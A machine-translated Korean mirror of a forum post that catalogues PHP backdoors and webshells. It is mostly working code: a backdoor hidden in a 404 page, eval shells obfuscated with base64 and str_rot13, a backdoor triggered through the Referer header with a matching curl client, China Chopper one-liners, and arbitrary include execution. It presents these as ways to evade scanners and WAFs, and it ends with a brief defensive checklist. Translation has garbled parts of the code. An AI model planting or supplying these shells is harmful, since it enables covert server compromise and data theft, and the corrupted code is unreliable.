이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 7260|회답: 0

[안전한 소통] 강력한 PHP 백도어를 정리하세요

[링크 복사]
게시됨 2014. 12. 1. 오후 9:41:13 | | |
우리는 이 PHP 백도어 프로그램을 학습 마인드로 다루며, 많은 PHP 백도어 코드를 통해 프로그래머들이 얼마나 선의인지 알 수 있습니다.
강력한 PHP 백도어 한 문장으로 설명해
이런 백도어는 웹사이트를 가능하게 합니다.서버 관리자는 매우 번거롭고 다양한 탐지를 수행하기 위해 방법을 자주 변경해야 하며, 많은 새로운 작성 기법은 일반 탐지 방법으로는 발견하고 처리할 수 없습니다.
오늘은 흥미로운 PHP 트로이목마들을 몇 가지 세어보겠습니다.
1. 404페이지로 PHP 조랑말을 숨기기:
[mw_shl_code=php, true] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 찾지 못함</title>
</head><body>
<h1>찾지 못했습니다</h1>
<p>요청된 URL은 이 서버에서 찾을 수 없었습니다.</p>
</body></html>
<?php
@preg_replace("/[페이지오류]/e",$_POST['error'],"saft");
헤더('HTTP/1.1 404 찾을 수 없음');
?>[/mw_shl_code]
404 페이지는 웹사이트에서 흔히 사용되는 파일이며, 일반적으로 권장된 후에는 거의 사람들이 확인하거나 수정하지 않기 때문에 이를 이용해 백도어를 숨길 수 있습니다.

2. 한 문장으로 특징 없는 숨겨진 PHP:
[mw_shl_code=php,true]<?php
session_start();
$_POST['코드'] && $_SESSION['theCode'] = trim($_POST['코드']);
$_SESSION['코드']&&preg_replace('\'a\'eis','e'.'. v’.‘ a’.‘ l’.‘ (base64_decode($_SESSION[\'theCode\']))','a');
?>[/mw_shl_code]
$_POST['코드']를 $_SESSION['theCode']에 할당한 후 $_SESSION['theCode']를 실행하는데, 여기서 서명 코드가 없다는 점이 강조됩니다.
스캔 도구를 사용해 코드를 확인하면 경고가 울리지 않고 목표를 달성할 수 있습니다.

3. 초은밀한 PHP 백도어:
[mw_shl_code=php,true]<?php $_GET[a]($_GET);?>
[/mw_shl_code]
GET 함수만으로도 트로이 목마가 됩니다;
사용 방법:
[mw_shl_code=php, true]        
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28P[/mw_shl_code]
실행 후, 현재 디렉터리는 매개변수 A가 평가될 때 트로이 목마 생성에 실패했을 때 트로이 목마 생성이 실패할 때 문장을 c.php 생성하며, 주장되면 오류를 보고하지만, 이는 과소평가할 수 없는 트로이 목마를 생성합니다.
레벨 요청, PHP 백도어를 실행하는 코드:
이 방법은 두 개의 파일, 즉 파일 1로 구현됩니다
[mw_shl_code=php,true]<?php
//1.php
헤더('Content-type:text/html; charset=utf-8′);
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10'&& count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>[/mw_shl_code]
문서 2
[mw_shl_code=php,true]<?php
//2.php
헤더('Content-type:text/html; charset=utf-8′);
//要执行的代码
$code= <<<CODE
phpinfo();
코드;
//进行base64编码
$code= base64_encode($code);
//构造referer字符串
$referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url= 'http://localhost/test1/1.php';
$ch= curl_init();
$options= array(
CURLOPT_URL => $url,
CURLOPT_HEADER => 거짓,
CURLOPT_RETURNTRANSFER => 참,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echocurl_exec($ch);
?>[/mw_shl_code]
베이스64로 인코딩된 코드를 HTTP 요청의 HTTP_REFERER에 통과시켜 백도어 효과를 구현하세요.
이 아이디어를 사용해 WAF를 우회하는 데 좋습니다.
4.PHP 백도어 생성기 도구 Weevely
weevely는 PHP 전용 제품입니다웹셸 무료 소프트웨어로, 텔넷과 유사한 연결 셸을 시뮬레이션하는 데 사용될 수 있습니다. Weevely는 주로 웹 프로그램 악용, 백도어 숨기기 또는 웹 페이지 기반 관리 대신 텔넷과 유사한 방법을 사용하는 데 사용됩니다. Weevely가 생성하는 서버 측 PHP 코드는 base64로 인코딩되어 있어 주류 안티바이러스 소프트웨어와 IDS를 속일 수 있습니다. 서버 사이드 코드를 업로드하면 보통 Weevely를 통해 직접 실행할 수 있습니다.
백도어에 사용되는 함수들은 일반적으로 사용되는 문자열 처리 함수이며, 검사 규칙으로 사용되는 eval과 system 같은 함수는 코드에 직접 나타나지 않아 백도어 파일이 백도어 검색 도구의 검사를 우회할 수 있습니다. 다크 그룹의 웹 백도어 탐지 도구로 스캔하면 파일이 위협받지 않았음을 알 수 있습니다.
위의 내용은 일반적인 소개이며, 관련 사용 방법은 여기서 소개하지 않고 단순한 과학 대중화입니다.
4. 세 개의 변형된 한 문장 PHP 트로이목마
      첫 번째는:
[mw_shl_code=php,true]<?php ($_=@$_GET[2]).@$_($_POST[1])?>
[/mw_shl_code]
두 번째
[mw_shl_code=php,true]<?php
$_=“”;
$_[+“”]=”;
$_=“$_”.“”;
$_=($_[+“”]|“ ”). ($_[+“”]|“”). ($_[+“”]^“”);
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>[/mw_shl_code]
부엌 칼에 비밀번호를 http://site/2.php?_=assert&__=eval($_POST['pass'])라고 쓰세요.
주방 칼의 추가 데이터를 사용하면 더 숨겨져 있고, 사후 제출 방식이기 때문에 다른 주입 도구를 사용할 수도 있습니다.
세 번째
[mw_shl_code=php, true] ($b 4dboy= $_POST['b4dboy']) & @preg_replace('/ad/e','@'.str_rot13('riny').' ($b 4dboy)', '추가'); [/mw_shl_code]
str_rot13('린니')는 인코딩된 평가로, 효과를 잃지 않으면서도 키워드를 완전히 회피해 사람들이 피를 토하게 만듭니다!
5. 마지막으로, 몇 가지 고급 PHP 트로이 목마 백도어를 나열하세요:
1、
[mw_shl_code=php,true]$hh= "p"." r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”;
$hh("/[discuz]/e", $_POST['h'], "접근"); [/mw_shl_code]
//菜刀一句话
2、
[mw_shl_code=php,true]$filename=$_GET['xbid'];
include($filename); [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行
3、
[mw_shl_code=php,true]$reg="c"." o”.“ p”.“ y”;
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
[/mw_shl_code]
//重命名任何文件
4、
[mw_shl_code=php,true]$gzid= "p"." r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”;
$gzid("/[discuz]/e",$_POST['h'],"접근"); [/mw_shl_code]
//菜刀一句话
5、
[mw_shl_code=php,true]include($uid); [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行,POST
[mw_shl_code=php,true]www.xxx.com/index.php?uid=/home/www/bbs/image.gif [/mw_shl_code]
//gif插一句话
요약하자면, 이 PHP 백도어들은 완전하다고 할 수 있습니다. 조심하지 않으면 분명히 속을 것입니다. 그리고 오늘 우리 글의 최우선 과제는 무엇인가요? 주요 내용은 아래 요약에 나와 있습니다!
PHP 한 문장 백도어 처리 방법:
몇 가지 핵심 포인트를 강조하며, 이 글을 읽으셨다면 아마도 일반인이 아니니 길게 말하지 않겠습니다:
  • PHP 프로그램을 작성할 때 보안에 주의하세요
  • 서버 로그 파일은 자주 읽고 백업해야 합니다
  • 각 사이트에 대한 엄격한 허가 할당
  • 동적 파일 및 디렉터리에 대한 빈번한 배치 보안 검토
  • 수동 안티바이러스 "행동 판단 조사 및 사망" 수행법을 배우기
  • 계속 지켜봐 주시거나, 아니면 활발한 사이버 보안 캠프에 침투하세요
  • 함수 자체가 서버 환경의 계층적 처리를 위한 규칙으로 사용될 수도 있습니다
우리는 관리해야 할 사이트가 많고 데이터가 많을 때는 보조적인 도구를 합리적으로 적용해야 한다고 믿지만, 이 도구들에만 전적으로 의존해서는 안 됩니다. 기술은 항상 업데이트되고 발전하고 있습니다. 가장 중요한 것은 강력한 백도어 사람들을 작성하는 사고방식을 배우고 이해하는 것이며, 전환이 더 큰 진전을 가져다줄 수 있다는 점입니다.





이전의:파이어폭스 플러그인 파이어폭스 해킹 플러그인은 파이어폭스를 7개의 플러그인으로 해킹 도구로 탈바꿈시킵니다
다음:MS12-020 3389 0day exp 원격 데스크톱 실행 코드 파이썬 소스 코드
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com